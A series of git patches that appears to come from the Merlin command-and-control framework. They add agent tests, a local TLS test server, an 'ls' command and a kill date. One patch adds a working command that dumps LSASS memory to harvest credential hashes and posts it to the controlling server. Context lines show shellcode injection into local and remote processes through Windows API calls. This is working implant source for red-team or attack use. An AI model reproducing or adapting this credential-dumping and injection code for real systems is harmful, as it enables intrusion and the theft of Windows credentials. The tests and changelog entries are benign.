+++++++++++++++++++++++++++++++++++ pkg/agent/testServer/main.go | 136 ++++++++++++++++++++++++++++++++++ 2 files changed, 273 insertions(+) create mode 100644 pkg/agent/agent_test.go create mode 100644 pkg/agent/testServer/main.go diff --git a/pkg/agent/agent_test.go b/pkg/agent/agent_test.go new file mode 100644 index 00000000..acf68d5b --- /dev/null +++ b/pkg/agent/agent_test.go @@ -0,0 +1,137 @@ +package agent + +import ( + "testing" + "time" + + uuid "github.com/satori/go.uuid" + + // testserver "github.com/Ne0nd0g/merlin/pkg/agent/testServer" //uncomment when working etc + testserver "github.com/c-sto/merlin/pkg/agent/testServer" +) + +func getTestAgent(proto string) Agent { + //creates a reproducible agent to ensure no jiggery pokery during generation + + a := Agent{ + Platform: "testplatform", //runtime.GOOS, + Architecture: "testarch", //runtime.GOARCH, + Pid: 1337, //os.Getpid(), + Version: "testmerlinversion", //merlin.Version, + WaitTime: 300 * time.Millisecond, + PaddingMax: 4096, + MaxRetry: 2, + Skew: 3000, + Verbose: true, + Debug: true, + Proto: proto, + UserAgent: "TEST HARNESS Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36", + } + id, err := uuid.FromString("f55b5543-106e-4f9b-8ee3-21185de64aaf") + if err != nil { + panic(err) + } + a.ID = id + + a.UserName = "testuser" //u.Username + a.UserGUID = "testguid" //u.Gid + + a.HostName = "testhostname" + + a.Ips = append(a.Ips, "127.0.0.1") + + client, errClient := getClient(a.Proto) + if errClient == nil { + a.Client = client + } else { + if a.Verbose { + message("warn", errClient.Error()) + } + } + return a +} + +func TestInitialh2(t *testing.T) { + //create a new agent with default params and h2 proto + a := getTestAgent("h2") + //create a server for the agent to interact with locally + //signalling chans for start/end of test + setup := make(chan struct{}) + ended := make(chan struct{}) + go testserver.TestServer{}.Start("8081", ended, setup, t) + //wait until set up + <-setup + //~~~~ the above can proabbly be copied into each test function + + //do the test stuff + + //simulate a.Run() + server := "https://127.0.0.1:8081" + + // Do initial checkin + if a.initial { + t.Error("Agent initialised prematurely") + } else { + a.initial = a.initialCheckIn(server, a.Client) + } + + // Ensure after initial, the status checkin is sensible too + if a.initial { + a.statusCheckIn(server, a.Client) + } else { + t.Error("Agent not marked checked in correctly") + } + + //signal to the server the test is over + close(ended) + //we assume the initial checkin was successful for this case - so check the attribute + if !a.initial { + t.Error("Initial checkin failed") + } + +} + +func TestBrokenJson(t *testing.T) { + //create a new agent with default params and h2 proto + a := getTestAgent("h2") + + a.UserAgent = "BrokenJSON" //signal to the test server to send broken json + //create a server for the agent to interact with locally + //signalling chans for start/end of test + setup := make(chan struct{}) + ended := make(chan struct{}) + go testserver.TestServer{}.Start("8081", ended, setup, t) + //wait until set up + <-setup + //~~~~ the above can proabbly be copied into each test function + + //do the test stuff + + //simulate a.Run() + server := "https://127.0.0.1:8081" + + // Do initial checkin + if a.initial { + t.Error("Agent initialised prematurely") + } else { + a.initial = a.initialCheckIn(server, a.Client) + } + + // Ensure after initial, the status checkin is sensible too + if a.initial { + a.statusCheckIn(server, a.Client) + } else { + t.Error("Agent not marked checked in correctly") + } + + //signal to the server the test is over + close(ended) + //we assume the initial checkin was successful for this case - so check the attribute + if !a.initial { + t.Error("Initial checkin failed") + } + + if a.FailedCheckin < 1 { + t.Error("Broken response didn't trigger failed checkin increment") + } +} diff --git a/pkg/agent/testServer/main.go b/pkg/agent/testServer/main.go new file mode 100644 index 00000000..071a2840 --- /dev/null +++ b/pkg/agent/testServer/main.go @@ -0,0 +1,136 @@ +package testserver + +import ( + "crypto/rand" + "crypto/rsa" + "crypto/tls" + "crypto/x509" + "crypto/x509/pkix" + "encoding/json" + "fmt" + "log" + "math/big" + "net" + "net/http" + "testing" + "time" + + "github.com/Ne0nd0g/merlin/pkg/messages" +) + +func (ts *TestServer) handler(w http.ResponseWriter, r *http.Request) { + bod := "" + + var payload json.RawMessage + j := messages.Base{ + Payload: &payload, + } + json.NewDecoder(r.Body).Decode(&j) + + switch r.UserAgent() { + case "BrokenJSON": + w.Header().Set("Content-Type", "application/json") + bod = "{this is hella broken" + } + + //fmt.Println(fmt.Sprintf("Request: %+v\nBody:%+v", r, j)) //uncomment here if you want to print out exactly what the test server receives + respCode := http.StatusOK + //perform logic here to determine if the agent is behaving as expected + w.WriteHeader(respCode) + fmt.Fprintln(w, bod) +} + +//TestServer is a webserver instance that facilitates functional testing of code that requires the ability to send web requests +type TestServer struct { + tes *testing.T +} + +//since tls/pki is such a pain in the ass, and I'm morally against storing certs on the repo - let's generate them every time :) +func generateTLSConfig() *tls.Config { + //https://golang.org/src/crypto/tls/generate_cert.go taken from here mostly + serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) + serialNumber, err := rand.Int(rand.Reader, serialNumberLimit) + if err != nil { + log.Fatalf("failed to generate serial number: %s", err) + } + tpl := x509.Certificate{ + SerialNumber: serialNumber, + Subject: pkix.Name{ + CommonName: "127.0.0.1", + Organization: []string{"Joey is the best hacker in Hackers"}, + }, + IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, + DNSNames: []string{"127.0.0.1", "localhost"}, + NotBefore: time.Now(), + NotAfter: time.Now().Add(time.Hour * 24), //like 24 hours? idk, it's irrelevant anyway + KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + BasicConstraintsValid: true, + } + priv, err := rsa.GenerateKey(rand.Reader, 2048) + if err != nil { + panic(err) + } + crtBytes, e := x509.CreateCertificate(rand.Reader, &tpl, &tpl, priv.Public(), priv) + if e != nil { + panic(e) + } + + crt := tls.Certificate{ + Certificate: [][]byte{crtBytes}, + PrivateKey: priv, + } + return &tls.Config{ + Certificates: []tls.Certificate{crt}, + NextProtos: []string{"h2", "hq"}, + } +} + +//Start starts the test HTTP server +func (TestServer) Start(port string, finishedTest, setup chan struct{}, t *testing.T) { + + s := http.NewServeMux() + ts := TestServer{ + tes: t, + } + s.HandleFunc("/", ts.handler) + srv := http.Server{} + + srv.TLSConfig = generateTLSConfig() + srv.Handler = s + srv.Addr = "127.0.0.1:" + port + go func() { + ln, e := net.Listen("tcp", srv.Addr) + defer ln.Close() + if e != nil { + panic(e) + } + tlsListener := tls.NewListener(ln, srv.TLSConfig) + e = srv.Serve(tlsListener) + //e := srv.ListenAndServeTLS("", "") + if e != nil { //should be set by the tls config + panic(e) + } + }() + for { + time.Sleep(time.Second * 1) + client := &http.Client{ + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + } + resp, err := client.Get("https://localhost:" + port) + if err != nil { + continue + } + resp.Body.Close() + if resp.StatusCode != http.StatusOK { + continue + } + // Reached this point: server is up and running! + break + } + + close(setup) + <-finishedTest //this is an ultra gross hack :( +} From bc1f0093a639110f753d429c5096f5a810f94208 Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Mon, 28 Jan 2019 00:05:51 -0500 Subject: [PATCH 020/112] adds `ls` command to agents --- docs/CHANGELOG.MD | 5 ++++ pkg/agent/agent.go | 56 ++++++++++++++++++++++++++++++++++++++++ pkg/agents/agents.go | 17 +++++++++++- pkg/cli/cli.go | 10 +++++++ pkg/messages/messages.go | 7 +++++ 5 files changed, 94 insertions(+), 1 deletion(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 07903ee4..1bad1ac7 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,6 +4,11 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 0.6.9 - 2019-01-28 + +### Added +- Adds `ls` as a capability so as to stay off the commandline. More to come. + ## 0.6.8 - 2019-01-26 ### Added diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 5b6eff1e..9737c6dc 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -714,6 +714,48 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } } + case "FileIO": + var p messages.FileIO + json.Unmarshal(payload, &p) + + switch p.Command { + case "ls": + listing, err := a.list(p.Args) + var se string + if err != nil { + se = err.Error() + } + + c := messages.CmdResults{ + Job: p.Job, + Stdout: listing, + Stderr: se, + } + + k, err := json.Marshal(c) + if err != nil { + panic(err) + } + + g := messages.Base{ + Version: 1.0, + ID: j.ID, + Type: "CmdResults", + Payload: (*json.RawMessage)(&k), + Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax), + } + b2 := new(bytes.Buffer) + json.NewEncoder(b2).Encode(g) + if a.Verbose { + message("note", fmt.Sprintf("Sending response to server: %s", listing)) + } + resp2, _ := client.Post(host, "application/json; charset=utf-8", b2) + if resp2.StatusCode != 200 { + if a.Verbose { + message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode)) + } + } + } default: if a.Verbose { message("warn", fmt.Sprintf("Received unrecognized message type: %s", j.Type)) @@ -923,6 +965,20 @@ func (a *Agent) agentInfo(host string, client *http.Client) { a.FailedCheckin = 0 } +func (a *Agent) list(path string) (string, error) { + files, err := ioutil.ReadDir(path) + details := "" + + for _, f := range files { + perms := f.Mode().String() + size := strconv.FormatInt(f.Size(), 10) + modTime := f.ModTime().String()[0:19] + name := f.Name() + details = details + perms + "\t" + modTime + "\t" + size + "\t" + name + "\n" + } + return details, err +} + // TODO Make a generic function to send a JSON message; Keep basic so protocols can be switched (i.e. DNS) // TODO centralize this into a package because it is used here and in the server diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index a4fe54cc..513d9add 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -420,7 +420,6 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { } k := marshalMessage(p) - m.Type = "CmdPayload" m.Payload = (*json.RawMessage)(&k) case "shellcode": m.Type = "Shellcode" @@ -476,6 +475,22 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { } else { message("info", fmt.Sprintf("Agent %s was removed from the server", agentID.String())) } + + case "ls": + m.Type = "FileIO" + p := messages.FileIO{ + Job: job.ID, + Command: job.Args[0], + } + + if len(job.Args) > 1 { + p.Args = job.Args[1] + } else { + p.Args = "./" + } + + k := marshalMessage(p) + m.Payload = (*json.RawMessage)(&k) case "maxretry": m.Type = "AgentControl" p := messages.AgentControl{ diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index fb0ffd05..8dc60721 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -379,6 +379,14 @@ func Shell() { m, shellAgent, time.Now().UTC().Format(time.RFC3339))) } } + case "ls": + m, err := agents.AddJob(shellAgent, "ls", cmd) + if err != nil { + message("warn", err.Error()) + break + } + message("note", fmt.Sprintf("Created job %s for agent %s at %s", + m, shellAgent, time.Now().UTC().Format(time.RFC3339))) case "main": menuSetMain() case "quit": @@ -651,6 +659,7 @@ func getCompleter(completer string) *readline.PrefixCompleter { readline.PcItem("help"), readline.PcItem("info"), readline.PcItem("kill"), + readline.PcItem("ls"), readline.PcItem("main"), readline.PcItem("shell"), readline.PcItem("set", @@ -743,6 +752,7 @@ func menuHelpAgent() { {"execute-shellcode", "Execute shellcode", "self, remote"}, {"info", "Display all information about the agent", ""}, {"kill", "Instruct the agent to die or quit", ""}, + {"ls", "List the contents of the current working directory", ""}, {"main", "Return to the main menu", ""}, {"set", "Set the value for one of the agent's options", "maxretry, padding, skew, sleep"}, {"shell", "Execute a command on the agent", "shell ping -c 3 8.8.8.8"}, diff --git a/pkg/messages/messages.go b/pkg/messages/messages.go index 3eb4b22b..80864c4a 100644 --- a/pkg/messages/messages.go +++ b/pkg/messages/messages.go @@ -92,3 +92,10 @@ type Shellcode struct { Job string `json:"job"` PID uint32 `json:"pid,omitempty"` // Process ID for remote injection } + +// FileIO is a JSON payload to send filesystem-related commands to the agent (ps, cd, cat, ls) +type FileIO struct { + Job string `json:"job"` + Command string `json:"command"` + Args string `json:"args,omitempty"` +} From 967f5ac6f0ee2d20a0fdcf44c45a570601e25af5 Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Tue, 29 Jan 2019 18:16:33 +0800 Subject: [PATCH 021/112] change debug print fmt to something useful, tidy test functions --- pkg/agent/agent.go | 12 ++++++------ pkg/agent/agent_test.go | 17 ++++++++--------- 2 files changed, 14 insertions(+), 15 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 5b6eff1e..1e77ccc3 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -39,13 +39,13 @@ import ( // 3rd Party "github.com/fatih/color" - "github.com/lucas-clemente/quic-go" + quic "github.com/lucas-clemente/quic-go" "github.com/lucas-clemente/quic-go/h2quic" - "github.com/satori/go.uuid" + uuid "github.com/satori/go.uuid" "golang.org/x/net/http2" // Merlin - "github.com/Ne0nd0g/merlin/pkg" + merlin "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/core" "github.com/Ne0nd0g/merlin/pkg/messages" ) @@ -290,7 +290,7 @@ func (a *Agent) initialCheckIn(host string, client *http.Client) bool { } if a.Debug { message("debug", "HTTP Response:") - message("debug", fmt.Sprintf("%s", resp)) + message("debug", fmt.Sprintf("%+v", resp)) } if resp.StatusCode != 200 { a.FailedCheckin++ @@ -353,7 +353,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if a.Debug { message("debug", "HTTP Response:") message("debug", fmt.Sprintf("ContentLength: %d", resp.ContentLength)) - message("debug", fmt.Sprintf("%s", resp)) + message("debug", fmt.Sprintf("%+v", resp)) } if resp.StatusCode != 200 { @@ -907,7 +907,7 @@ func (a *Agent) agentInfo(host string, client *http.Client) { } if a.Debug { message("debug", "HTTP Response:") - message("warn", fmt.Sprintf("%s", resp)) + message("warn", fmt.Sprintf("%+v", resp)) } if resp.StatusCode != 200 { a.FailedCheckin++ diff --git a/pkg/agent/agent_test.go b/pkg/agent/agent_test.go index acf68d5b..ea96cc84 100644 --- a/pkg/agent/agent_test.go +++ b/pkg/agent/agent_test.go @@ -6,8 +6,7 @@ import ( uuid "github.com/satori/go.uuid" - // testserver "github.com/Ne0nd0g/merlin/pkg/agent/testServer" //uncomment when working etc - testserver "github.com/c-sto/merlin/pkg/agent/testServer" + testserver "github.com/Ne0nd0g/merlin/pkg/agent/testServer" //uncomment when working etc ) func getTestAgent(proto string) Agent { @@ -58,7 +57,8 @@ func TestInitialh2(t *testing.T) { //signalling chans for start/end of test setup := make(chan struct{}) ended := make(chan struct{}) - go testserver.TestServer{}.Start("8081", ended, setup, t) + port := "8081" + go testserver.TestServer{}.Start(port, ended, setup, t) //wait until set up <-setup //~~~~ the above can proabbly be copied into each test function @@ -66,7 +66,7 @@ func TestInitialh2(t *testing.T) { //do the test stuff //simulate a.Run() - server := "https://127.0.0.1:8081" + server := "https://127.0.0.1:" + port // Do initial checkin if a.initial { @@ -94,21 +94,20 @@ func TestInitialh2(t *testing.T) { func TestBrokenJson(t *testing.T) { //create a new agent with default params and h2 proto a := getTestAgent("h2") - - a.UserAgent = "BrokenJSON" //signal to the test server to send broken json //create a server for the agent to interact with locally //signalling chans for start/end of test setup := make(chan struct{}) ended := make(chan struct{}) - go testserver.TestServer{}.Start("8081", ended, setup, t) + port := "8082" + go testserver.TestServer{}.Start(port, ended, setup, t) //wait until set up <-setup //~~~~ the above can proabbly be copied into each test function - //do the test stuff + a.UserAgent = "BrokenJSON" //signal to the test server to send broken json //simulate a.Run() - server := "https://127.0.0.1:8081" + server := "https://127.0.0.1:" + port // Do initial checkin if a.initial { From f896ecc160d2a07d06b7584246cc0e9f3b77a2c2 Mon Sep 17 00:00:00 2001 From: ahhh Date: Fri, 1 Feb 2019 02:18:42 -0800 Subject: [PATCH 022/112] adding a kill date to agents, such that they won't execute after a precompiled date --- cmd/merlinagent/main.go | 2 ++ pkg/agent/agent.go | 27 +++++++++++++++++---------- pkg/agents/agents.go | 1 + 3 files changed, 20 insertions(+), 10 deletions(-) diff --git a/cmd/merlinagent/main.go b/cmd/merlinagent/main.go index 49585d65..e72daa5e 100644 --- a/cmd/merlinagent/main.go +++ b/cmd/merlinagent/main.go @@ -36,6 +36,8 @@ import ( var url = "https://127.0.0.1:443" var build = "nonRelease" +//var killdate = 0 // killdate is an epoch timestamp that the payload will not execute after + func main() { verbose := flag.Bool("v", false, "Enable verbose output") version := flag.Bool("version", false, "Print the agent version and exit") diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 5b6eff1e..b9223cb4 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -80,6 +80,7 @@ type Agent struct { Client *http.Client // Client is an http.Client object used to make HTTP connections for agent communications UserAgent string // UserAgent is the user agent string used with HTTP connections initial bool // initial identifies if the agent has successfully completed the first initial check in + killdate int32 // killdate is a unix timestamp that denotes a time the executable will not run after (if it is 0 it will not be used) } // New creates a new agent struct with specific values and returns the object @@ -102,6 +103,7 @@ func New(protocol string, verbose bool, debug bool) Agent { Proto: protocol, UserAgent: "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36", initial: false, + killdate: 0, } u, errU := user.Current() @@ -178,18 +180,23 @@ func (a *Agent) Run(server string) { } for { - if a.initial { - if a.Verbose { - message("note", "Checking in") + // Check killdate to see if the agent should checkin + if (a.killdate == 0) || (int32(time.Now().Unix()) < a.killdate) { + if a.initial { + if a.Verbose { + message("note", "Checking in") + } + go a.statusCheckIn(server, a.Client) + } else { + a.initial = a.initialCheckIn(server, a.Client) } - go a.statusCheckIn(server, a.Client) - } else { - a.initial = a.initialCheckIn(server, a.Client) - } - if a.FailedCheckin >= a.MaxRetry { - if a.Debug { - message("debug", "Failed Checkin is greater than or equal to max retries. Quitting") + if a.FailedCheckin >= a.MaxRetry { + if a.Debug { + message("debug", "Failed Checkin is greater than or equal to max retries. Quitting") + } + os.Exit(1) } + } else { os.Exit(1) } diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index a4fe54cc..dfd06e68 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -70,6 +70,7 @@ type agent struct { FailedCheckin int Skew int64 Proto string + killdate int } // InitialCheckIn is run on the first communication with an agent and is used to instantiate an agent object From 197f5ba1e6f00ff6b7b6f80aab4b3bc05150fbd8 Mon Sep 17 00:00:00 2001 From: Dan Borges Date: Fri, 1 Feb 2019 02:20:24 -0800 Subject: [PATCH 023/112] Update main.go --- cmd/merlinagent/main.go | 2 -- 1 file changed, 2 deletions(-) diff --git a/cmd/merlinagent/main.go b/cmd/merlinagent/main.go index e72daa5e..49585d65 100644 --- a/cmd/merlinagent/main.go +++ b/cmd/merlinagent/main.go @@ -36,8 +36,6 @@ import ( var url = "https://127.0.0.1:443" var build = "nonRelease" -//var killdate = 0 // killdate is an epoch timestamp that the payload will not execute after - func main() { verbose := flag.Bool("v", false, "Enable verbose output") version := flag.Bool("version", false, "Print the agent version and exit") From 1a959203d0252b4b80bf6b3bd73e8948f11a3195 Mon Sep 17 00:00:00 2001 From: Dan Borges Date: Fri, 1 Feb 2019 02:28:56 -0800 Subject: [PATCH 024/112] Update CHANGELOG.MD --- docs/CHANGELOG.MD | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 07903ee4..511c7980 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,6 +4,11 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 0.6.9 - 2019-02-01 + +### Added +- [Pull 50] (https://github.com/Ne0nd0g/merlin/pull/50) - Adds a killdate option to agents + ## 0.6.8 - 2019-01-26 ### Added From fbb9307974bb281182799dbe67bbbcf8de207182 Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Sat, 2 Feb 2019 16:36:00 +0800 Subject: [PATCH 025/112] add minidump capabilities to dump hashes good --- pkg/agent/agent.go | 75 ++++++++++- pkg/agent/exec_windows.go | 266 ++++++++++++++++++++++++++++++-------- pkg/agents/agents.go | 10 +- pkg/cli/cli.go | 14 +- 4 files changed, 303 insertions(+), 62 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 5b6eff1e..9df18c13 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -18,6 +18,7 @@ package agent import ( + // Standard "bytes" "crypto/sha1" @@ -41,11 +42,11 @@ import ( "github.com/fatih/color" "github.com/lucas-clemente/quic-go" "github.com/lucas-clemente/quic-go/h2quic" - "github.com/satori/go.uuid" + uuid "github.com/satori/go.uuid" "golang.org/x/net/http2" // Merlin - "github.com/Ne0nd0g/merlin/pkg" + merlin "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/core" "github.com/Ne0nd0g/merlin/pkg/messages" ) @@ -290,7 +291,7 @@ func (a *Agent) initialCheckIn(host string, client *http.Client) bool { } if a.Debug { message("debug", "HTTP Response:") - message("debug", fmt.Sprintf("%s", resp)) + message("debug", fmt.Sprintf("%+v", resp)) } if resp.StatusCode != 200 { a.FailedCheckin++ @@ -353,7 +354,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if a.Debug { message("debug", "HTTP Response:") message("debug", fmt.Sprintf("ContentLength: %d", resp.ContentLength)) - message("debug", fmt.Sprintf("%s", resp)) + message("debug", fmt.Sprintf("%+v", resp)) } if resp.StatusCode != 200 { @@ -556,6 +557,70 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { json.Unmarshal(payload, &p) switch p.Command { + case "lsassdump": + if a.Verbose { + message("note", "Received dump lsass request") + } + //get lsass minidump + fileData, fileDataErr := dumpLsass() + + //copied and pasted from upload func, modified appropriately + if fileDataErr != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error dumping lsass")) + message("warn", fmt.Sprintf("%s", fileDataErr.Error())) + } + errMessage := fmt.Sprintf("There was an error dumping lsass\r\n") + errMessage += fileDataErr.Error() + c := messages.CmdResults{ + Job: p.Job, + Stderr: errMessage, + } + if a.Verbose { + message("note", "Sending error message to sever.") + } + k, _ := json.Marshal(c) + g.Type = "CmdResults" + g.Payload = (*json.RawMessage)(&k) + + } else { + fileHash := sha1.New() + io.WriteString(fileHash, string(fileData)) + + if a.Verbose { + message("note", fmt.Sprintf("Uploading minidump file of size %d bytes and a SHA1 hash of %x to the server", + //p.FileLocation, + len(fileData), + fileHash.Sum(nil))) + } + c := messages.FileTransfer{ + FileLocation: "lsass.dmp", + FileBlob: base64.StdEncoding.EncodeToString([]byte(fileData)), + IsDownload: true, + Job: p.Job, + } + + k, _ := json.Marshal(c) + g.Type = "FileTransfer" + g.Payload = (*json.RawMessage)(&k) + + } + + b2 := new(bytes.Buffer) + json.NewEncoder(b2).Encode(g) + resp2, respErr := client.Post(host, "application/json; charset=utf-8", b2) + if respErr != nil { + if a.Verbose { + message("warn", "There was an error sending the FileTransfer message to the server") + message("warn", fmt.Sprintf("%s", respErr.Error())) + } + } + if resp2.StatusCode != 200 { + if a.Verbose { + message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode)) + } + } + case "kill": if a.Verbose { message("note", "Received Agent Kill Message") @@ -907,7 +972,7 @@ func (a *Agent) agentInfo(host string, client *http.Client) { } if a.Debug { message("debug", "HTTP Response:") - message("warn", fmt.Sprintf("%s", resp)) + message("warn", fmt.Sprintf("%+v", resp)) } if resp.StatusCode != 200 { a.FailedCheckin++ diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index 0ee076c5..edfac436 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -23,6 +23,8 @@ import ( // Standard "errors" "fmt" + "io/ioutil" + "os" "os/exec" "syscall" "unsafe" @@ -36,37 +38,37 @@ import ( const ( // MEM_COMMIT is a Windows constant used with Windows API calls - MEM_COMMIT = 0x1000 + MEM_COMMIT = 0x1000 // MEM_RESERVE is a Windows constant used with Windows API calls - MEM_RESERVE = 0x2000 + MEM_RESERVE = 0x2000 // MEM_RELEASE is a Windows constant used with Windows API calls - MEM_RELEASE = 0x8000 + MEM_RELEASE = 0x8000 // PAGE_EXECUTE is a Windows constant used with Windows API calls - PAGE_EXECUTE = 0x10 + PAGE_EXECUTE = 0x10 // PAGE_EXECUTE_READWRITE is a Windows constant used with Windows API calls - PAGE_EXECUTE_READWRITE = 0x40 + PAGE_EXECUTE_READWRITE = 0x40 // PAGE_READWRITE is a Windows constant used with Windows API calls - PAGE_READWRITE = 0x04 + PAGE_READWRITE = 0x04 // PROCESS_CREATE_THREAD is a Windows constant used with Windows API calls - PROCESS_CREATE_THREAD = 0x0002 + PROCESS_CREATE_THREAD = 0x0002 // PROCESS_VM_READ is a Windows constant used with Windows API calls - PROCESS_VM_READ = 0x0010 + PROCESS_VM_READ = 0x0010 //PROCESS_VM_WRITE is a Windows constant used with Windows API calls - PROCESS_VM_WRITE = 0x0020 + PROCESS_VM_WRITE = 0x0020 // PROCESS_VM_OPERATION is a Windows constant used with Windows API calls - PROCESS_VM_OPERATION = 0x0008 + PROCESS_VM_OPERATION = 0x0008 // PROCESS_QUERY_INFORMATION is a Windows constant used with Windows API calls PROCESS_QUERY_INFORMATION = 0x0400 // TH32CS_SNAPHEAPLIST is a Windows constant used with Windows API calls - TH32CS_SNAPHEAPLIST = 0x00000001 + TH32CS_SNAPHEAPLIST = 0x00000001 // TH32CS_SNAPMODULE is a Windows constant used with Windows API calls - TH32CS_SNAPMODULE = 0x00000008 + TH32CS_SNAPMODULE = 0x00000008 // TH32CS_SNAPPROCESS is a Windows constant used with Windows API calls - TH32CS_SNAPPROCESS = 0x00000002 + TH32CS_SNAPPROCESS = 0x00000002 // TH32CS_SNAPTHREAD is a Windows constant used with Windows API calls - TH32CS_SNAPTHREAD = 0x00000004 + TH32CS_SNAPTHREAD = 0x00000004 // THREAD_SET_CONTEXT is a Windows constant used with Windows API calls - THREAD_SET_CONTEXT = 0x0010 + THREAD_SET_CONTEXT = 0x0010 ) // ExecuteCommand is function used to instruct an agent to execute a command on the host operating system @@ -105,7 +107,7 @@ func ExecuteShellcodeSelf(shellcode []byte) error { addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) - if errVirtualAlloc.Error() != "The operation completed successfully." { + if errVirtualAlloc.Error() != "The operation completed successfully." { return errors.New("Error calling VirtualAlloc:\r\n" + errVirtualAlloc.Error()) } @@ -119,10 +121,10 @@ func ExecuteShellcodeSelf(shellcode []byte) error { return errors.New("Error calling RtlCopyMemory:\r\n" + errRtlCopyMemory.Error()) } // TODO set initial memory allocation to rw and update to execute; currently getting "The parameter is incorrect." -/* _, _, errVirtualProtect := VirtualProtect.Call(uintptr(addr), uintptr(len(shellcode)), PAGE_EXECUTE) - if errVirtualProtect.Error() != "The operation completed successfully." { - return errVirtualProtect - }*/ + /* _, _, errVirtualProtect := VirtualProtect.Call(uintptr(addr), uintptr(len(shellcode)), PAGE_EXECUTE) + if errVirtualProtect.Error() != "The operation completed successfully." { + return errVirtualProtect + }*/ _, _, errSyscall := syscall.Syscall(addr, 0, 0, 0, 0) @@ -149,9 +151,9 @@ func ExecuteShellcodeRemote(shellcode []byte, pid uint32) error { return errors.New("Error calling OpenProcess:\r\n" + errOpenProcess.Error()) } - addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle),0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) + addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) - if errVirtualAlloc.Error() != "The operation completed successfully." { + if errVirtualAlloc.Error() != "The operation completed successfully." { return errors.New("Error calling VirtualAlloc:\r\n" + errVirtualAlloc.Error()) } @@ -170,7 +172,7 @@ func ExecuteShellcodeRemote(shellcode []byte, pid uint32) error { return errors.New("Error calling VirtualProtectEx:\r\n" + errVirtualProtectEx.Error()) } - _, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0,0,0) + _, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0) if errCreateRemoteThreadEx.Error() != "The operation completed successfully." { return errors.New("Error calling CreateRemoteThreadEx:\r\n" + errCreateRemoteThreadEx.Error()) } @@ -201,9 +203,9 @@ func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error { return errors.New("Error calling OpenProcess:\r\n" + errOpenProcess.Error()) } - addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle),0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) + addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) - if errVirtualAlloc.Error() != "The operation completed successfully." { + if errVirtualAlloc.Error() != "The operation completed successfully." { return errors.New("Error calling VirtualAlloc:\r\n" + errVirtualAlloc.Error()) } @@ -223,23 +225,22 @@ func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error { } /* 